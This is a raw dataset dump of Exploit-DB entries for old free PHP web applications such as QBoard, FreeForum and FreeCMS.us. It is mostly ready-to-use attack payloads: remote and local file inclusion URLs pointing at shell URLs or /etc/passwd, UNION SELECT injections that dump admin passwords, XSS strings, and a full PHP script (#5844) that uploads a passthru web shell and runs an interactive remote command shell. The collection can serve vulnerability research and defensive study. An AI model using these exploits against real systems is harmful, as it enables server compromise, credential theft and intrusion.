deardaniel/secdata-raw huggingface dataset:
Exploit-DB #28150
Description: free QBoard 1.1 - 'index.php?qb_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-03
Author: CrAsh_oVeR_rIdE

Exploit:
source: https://www.securityfocus.com/bid/18788/info

The free QBoard script is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and gain access to the underlying system.

www.example.com/(path)/index.php?qb_path=http://evilcode.txt?
Exploit-DB #1899
Description: free QBoard 1.1 - 'qb_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-11
Author: Kacper

Exploit:
$$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  free QBoard (qb_path) <= v.1.1 Remote File Include Vulnerability
$$  script site: http://sourceforge.net/projects/freeqboard/
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
#Expl:


http://www.site.com/[QBoard_path]/board/post.php?qb_path=[evil_scripts]


#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-06-11]
Exploit-DB #11773
Description: Free Real Estate Contact Form 1.09 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-03-16
Author: Pouya Daneshmand

Exploit:
#################################################################
# Securitylab.ir
#################################################################
# Application Info:
# Name: Free Real Estate Contact Form
# Version: 1.09
# Vendor: http://www.phpkobo.com/realestate_contact.php
#################################################################
# Vulnerability Info:
# Type: Local File Inclusion
# Risk: Medium
#################################################################
Vulnerability:
http://site.com/codelib/sys/common.inc.php?LANG_CODE=../../../../../../../etc/passwd%00
#################################################################
# Discoverd By: Pouya Daneshmand
# Website: http://securitylab.ir
# Contacts: info[at]securitylab.ir & whh_iran[at]yahoo.com
###################################################################
Exploit-DB #17403
Description: Free Simple CMS 1.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-06-15
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB23010
Reference: http://www.htbridge.ch/advisory/multiple_xss_in_free_simple_cms.html
Product: Free Simple CMS
Vendor: Dustin Cowell Enterprises ( http://www.freesimplesoft.com/ )
Vulnerable Version: 1.0 and probably prior
Tested on: 1.0
Vendor Notification: 25 May 2011
Vulnerability Type: XSS (Cross Site Scripting), Local File Inclusion
Risk level: High
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )

Vulnerability Details:
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Free Simple CMS , which can be exploited to perform cross-site scripting attacks.

1) Input appended to the URL after index.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website

The following PoC code is available:

http://[host]/index.php/%27%3E%3Cscript%3Ealert%28document.cookie%29;%3C
/script%3E

2) Input passed via the GET "db_themes_background_color_page" parameter to /themes/default/index.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

The following PoC code is available:

http://[host]/themes/default/index.php?db_themes_background_color_page=%
22%3E%3Cscript%3Ealert%28123%29;%3C/script%3E

Successful exploitation of the vulnerabilities requires that "register_globals" is enabled.

3) Input passed via the GET "include" parameter to index.php (when GET "page" parameter is set to "login" and GET "request" parameter is set to "forgot_password") is not properly verified before being used to include files.
This can be exploited to include arbitrary files from local resources via directory traversal sequences.

The following PoC code is available:

http://[host]/index.php?page=login&request=forgot_password&include=../..
/../../../../../../etc/passwd
Exploit-DB #15608
Description: Free Simple Software - SQL Injection
Type: webapps
Platform: php
Date: 2010-11-24
Author: Mark Stanislav

Exploit:
'Free Simple Software' SQL Injection Vulnerability (CVE-2010-4298)
Mark Stanislav - mark.stanislav@gmail.com


I. DESCRIPTION
---------------------------------------
A vulnerability exists in the 'Free Simple Software' download module which allows for a 'UNION SELECT' to easily expose the application administrator's plaintext password.

 
II. TESTED VERSION
---------------------------------------
1.0 [Manual Install Version]


III. PoC EXPLOIT
---------------------------------------
http://site.com/index.php?page=downloads&request=download_now&downloads_id=' UNION SELECT email_address as name, NULL, NULL, password as file_name, last_name as file_url from admin_users where id!='NULL


IV. NOTES 
---------------------------------------
* User passwords for this web application are not encrypted or hashed which makes this exploit even more concerning.
* The PoC assumes that the first user is the administrative user which is the default behavior for the application.
* At least 1 download must already exist to enable this exploit.
* Due to a previous vulnerability not being fixed 3-months after disclosure (CVE-2010-3307), it's assumable that this application is not being actively developed.


V. SOLUTION
---------------------------------------
Do not utilize the download module. No patch/upgrade is available at this time.


VI. REFERENCES
---------------------------------------
http://www.freesimplesoft.com/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4298
https://www.uncompiled.com/2010/11/free-simple-software-sql-injection-vulnerability-cve-2010-4298/


VII. TIMELINE
---------------------------------------
11/12/2010: Initial disclosure e-mail to the vendor
11/21/2010: Public disclosure
Exploit-DB #14672
Description: Free Simple Software 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-08-17
Author: Dr.$audi

Exploit:
########################################################
###  Free Simple Software V1.0  ###                                                  
#By :  Dr.$audi  ( SauDi ViRuS TeaM )                           	             
#By : http://Sa-ViRuS.CoM                                             	 	     
#Email : Mon7b6@Gmail.com         
#Dork: Powered by free simple software     	                       	        	     
#Greets : RENO , Dr.php , ! BaD BoY ! , Gov.HaCkEr , Mind , AnTi SeCuRe 
########################################################
Script HomePage: www.freesimplesoft.com				      #
########################################################
#RFI:                                                                                                     
# http://site/path/themes/default/index.php?meta=[Shell URL]?
# http://site/path/themes/default/index.php?phpincdir=[Shell URL]?
########################################################
Exploit-DB #5844
Description: FreeCMS.us 0.2 - 'FCKeditor' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-06-17
Author: Stack

Exploit:
<?php
/*
 --------------------------------------------------------------
 FreeCMS.us 0.2 (fckeditor) Arbitrary File Upload Exploit
 --------------------------------------------------------------
 By : Stack
  Special thnx for : Egix
 [-] vulnerable code in /[path]/admin/fckeditor/editor/filemanager/upload/php/upload.php
 
 with a default configuration of this script, an attacker might be able to upload arbitrary files containing malicious PHP code
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
 $sock = fsockopen($host, 80);
 while (!$sock)
 {
  print "\n[-] No response from {$host}:80 Trying again...";
  $sock = fsockopen($host, 80);
 }
 fputs($sock, $packet);
 while (!feof($sock)) $resp .= fread($sock, 1024);
 fclose($sock);
 return $resp;
}
print "\n+------------------------------------------------------------+";
print "\n|File Upload Exploit by Stack |";
print "\n+------------------------------------------------------------+\n";
if ($argc < 2)
{
 print "\nUsage......: php $argv[0] host path";
 print "\nExample....: php $argv[0] localhost /booking_calendar/\n";
 die();
}
$host = $argv[1];
$path = $argv[2];
$data  = "--12345\r\n";
$data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"s.php.he.ll\"\r\n";
$data .= "Content-Type: application/octet-stream\r\n\r\n";
$data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\n";
$data .= "--12345--\r\n";
$packet  = "POST {$path}/fckeditor/editor/filemanager/upload/php/upload.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($data)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=12345\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $data;
preg_match("/OnUploadCompleted\((.*),\"(.*)\",\"(.*)\",/i", http_send($host, $packet), $html);
if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]})\n");
else print "\n[-] Shell uploaded to {$html[2]}...starting it!\n";
define(STDIN, fopen("php://stdin", "r"));
while(1)
{
 print "\nstack-shell# ";
 $cmd = trim(fgets(STDIN));
 if ($cmd != "exit")
 {
  $packet = "GET {$path}datacenter/media/{$html[3]} HTTP/1.0\r\n";
  $packet.= "Host: {$host}\r\n";
  $packet.= "Cmd: ".base64_encode($cmd)."\r\n";
  $packet.= "Connection: close\r\n\r\n";
  $output = http_send($host, $packet);
  if (eregi("print", $output) || !eregi("_code_", $output)) die("\n[-] Exploit failed...\n");
  $shell = explode("_code_", $output);
  print "\n{$shell[1]}";
 }
 else break;
}
?>

# milw0rm.com [2008-06-17]
Exploit-DB #5838
Description: FreeCMS.us 0.2 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-17
Author: Mr.SQL

Exploit:
#########################################################################
#################### Viva IslaM Viva IslaM ##############################
##
## Remote SQL Injection Vulnerability
##
## FreeCMS 0.2 ( index.php page )
##
#########################################################################
#########################################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM
##
## Email  : SQL@Hotmail.it
##
## !! SYRIAN HaCkErS  !!
########################
########################
##
## Script  : FreeCMS
##
## Vesrion : 0.2
##
## site    : www.Freecms.us
##
########################
########################
##
##     -(:: SQL ::)-
##
##    www.site.com/
##          index.php?page=-28+union+select+concat_ws(0x3a,admin,password)+from+admin/*
##
##  -(:: L!VE DEMO ::)-
##
##    http://demo.freecms.us/index.php?page=-28+union+select+concat_ws(0x3a,admin,password)+from+admin/*
##
#######################
#######################

#######################################################################################################
#######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
 :: HaCkEr-EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH :: MusliMs HaCkErs ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-06-17]
Exploit-DB #2484
Description: FreeForum 0.9.7 - 'forum.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-07
Author: Mehmet Ince

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

FreeForum 0.9.7 (fpath) Remote File Include Vulnerability

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Discovered by XORON(turkish hacker)

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

URL: http://www.ezforum.de/downloads/Forum.zip (229kb)

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Vuln. Code: in forum.php.

if(!isset($cfg_file))$cfg_file="config/config.inc.php";
if(!isset($fpath))$fpath=".";
if(!isset($getvar))$getvar='';
include("$fpath/lib/php/classes.php");

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Exploit: /forum.php?cfg_file=1&fpath=http://sh3LL?

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanx: str0ke, Preddy, Ironfist, Stansar, SHiKaA, O.G,

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2006-10-07]
Exploit-DB #26576
Description: FreeForum 1.0/1.1 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-11-23
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15559/info

freeForum is prone to multiple SQL injection vulnerabilities.

These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/freeForum/forum.php?cat=[SQL]
http://www.example.com/freeForum/forum.php?mode=thread&thread=[SQL]
Exploit-DB #32139
Description: freeForum 1.7 - 'acuparam' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-01
Author: ahmadbady

Exploit:
source: https://www.securityfocus.com/bid/30509/info

freeForum is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

freeForum 1.7 is vulnerable; other versions may also be affected.

http://www.example.com/path/?acuparam=>"><ScRiPt>alert(111)</ScRiPt> http://www.example.com/path/index.php/>'><ScRiPt>alert(111)</ScRiPt> http://www.example.com/path/index.php?acuparam=>"><ScRiPt>alert(111)</ScRiPt>
Exploit-DB #10692
Description: FreeForum 1.7 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================
| # Title    : FreeForum 1.7 Cross Site Scripting Vulnerability                        |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # EDB-ID   :                                                                         |
| # CVE-ID   : ()                                                                      |
| # OSVDB-ID : ()                                                                      |
| # DAte     :16/12/2009                                                               |
| # Verified :                                                                         |
| # Web Site : www.iq-ty.com                                                           |
| # Published:                                                                         |
| # Script   : powered by FreeForum (FreeForum 1.7*http://soft.zoneo.net/freeForum/)   |
| # Tested on: windows SP2 Fran&#65533;ais V.(Pnx2 2.0) + Lunix Fran&#65533;ais v.(9.4 Ubuntu)       |
| # Bug      : XSS                                                                     |
======================      Exploit By indoushka       =================================
| # Exploit  :
|
| 1- http://127.0.0.1/freeforum-1.7/index.php/>'><ScRiPt>alert[PII_REDACTED]60)</ScRiPt>
|
| 2- http://127.0.0.1/freeforum-1.7/?>"'><ScRiPt>alert[PII_REDACTED]60)</ScRiPt>
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #10693
Description: FreeForum 1.7 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================
| # Title    : FreeForum 1.7 RFI Vulnerability                                         |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # EDB-ID   :                                                                         |
| # CVE-ID   : ()                                                                      |
| # OSVDB-ID : ()                                                                      |
| # DAte     :16/12/2009                                                               |
| # Verified :                                                                         |
| # Web Site : www.iq-ty.com                                                           |
| # Published:                                                                         |
| # Script   : powered by FreeForum (FreeForum 1.7*http://soft.zoneo.net/freeForum/)   |
| # Tested on: windows SP2 Fran&#65533;ais V.(Pnx2 2.0) + Lunix Fran&#65533;ais v.(9.4 Ubuntu)       |
| # Bug      : RFI                                                                     |
======================      Exploit By indoushka       =================================
| # Exploit  :
|
| 1- http://localhost/freeforum-1.7/forum.php?languagefile=[EV!L]
|
| 2- http://localhost/freeforum-1.7/export.php?path=[EV!L]
|
| 3- http://localhost/freeforum-1.7/latestpost.php?path=[EV!L]
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #11745
Description: FreeHost 1.00 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-03-15
Author: indoushka

Exploit:
========================================================================================
| # Title    : FreeHost Version 1.00 Upload Vulnerability
| # Author   : indoushka
| # email    : indoushka@dgsn.dz
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)                                                           $
| # Web Site :                                                                                                                             $
| # Script   : Powered by FreeHost Version 1.00
| # Tested on: windows SP2 Fran&#29393;ais V.(Pnx2 2.0) + Lunix Fran&#29393;ais v.(9.4 Ubuntu)
| # Bug      : Upload
|
======================      Exploit By indoushka       =================================
 # Exploit  :

 1 - register in : http://127.0.0.1/FreeHost/register.php

 2- go to your panel 2 upload and use Tamper Data
     http://127.0.0.1/FreeHost/upload.php

3- go to you Folder name t find your Ev!l
   http://127.0.0.1/FreeHost/u/indoushka/Ch99.php.zip

Dz-Ghost Team ===== Saoucha * Star08 * Redda * n2n * XproratiX ==========================================
Greetz :
Exploit-db Team :
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (Tinjah.com) * Yashar (sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
www.owned-m.com * Stake (v4-team.com) * www.securitywall.org * r1z (www.sec-r1z.com)
www.securityreason.com * www.packetstormsecurity.org * www.m-y.cc * Cyb3r IntRue (avengers team)
www.hacker.ps * no-exploit.com * www.bawassil.com * www.xp10.me * www.mormoroth.net
www.alkrsan.net * www.kadmiwe.net * www.arhack.net
--------------------------------------------------------------------------------------------------------------
Exploit-DB #27312
Description: FreeHostShop Website Generator 3.3 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2006-02-25
Author: NSA Group

Exploit:
source: https://www.securityfocus.com/bid/16823/info

Website generator is prone to an arbitrary file-upload vulnerability. 

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

http://www.example.com/files/myforms/process3.php?formname=attack.php%00*name[0]=
Exploit-DB #5613
Description: Freelance Auction Script 1.0 - 'browseproject.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-14
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+  Freelance Auction Script 1.0 (browseproject.php) SQL Injection Vulnerability  +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 14 MAY 2008
Script Download: http://freelanceauction.eu
DORK: N/A



Vendor Has Not Been Notified!



DESCRIPTION: 

Freelance Auction Script (all versions to date) suffers from a insecure mysql query, this allows the 
remote attacker to arbitrary execute mysql code/query's.

the below MySQL Injection will display the admin login details.


SQL Injection:

http://site.com/browseproject.php?mode=pdetails&pid=-1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(username,char(58),password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/**/FROM/**/tbl_administrator/*



NOTE/TIP: 

passwords are in plaintext.
users table "tbl_users"
admin login is at /admin/


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



peace, t0pP8uZz



--==+================================================================================+==--
--==+  Freelance Auction Script 1.0 (browseproject.php) SQL Injection Vulnerability  +==--
--==+================================================================================+==--

# milw0rm.com [2008-05-14]
Exploit-DB #36574
Description: Freelance Zone - 'show_code.php' SQL Injection
Type: webapps
Platform: php
Date: 2012-01-18
Author: Lazmania61

Exploit:
source: https://www.securityfocus.com/bid/51533/info

Freelance Zone is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/freelance/show_code.php?code_id=8â??a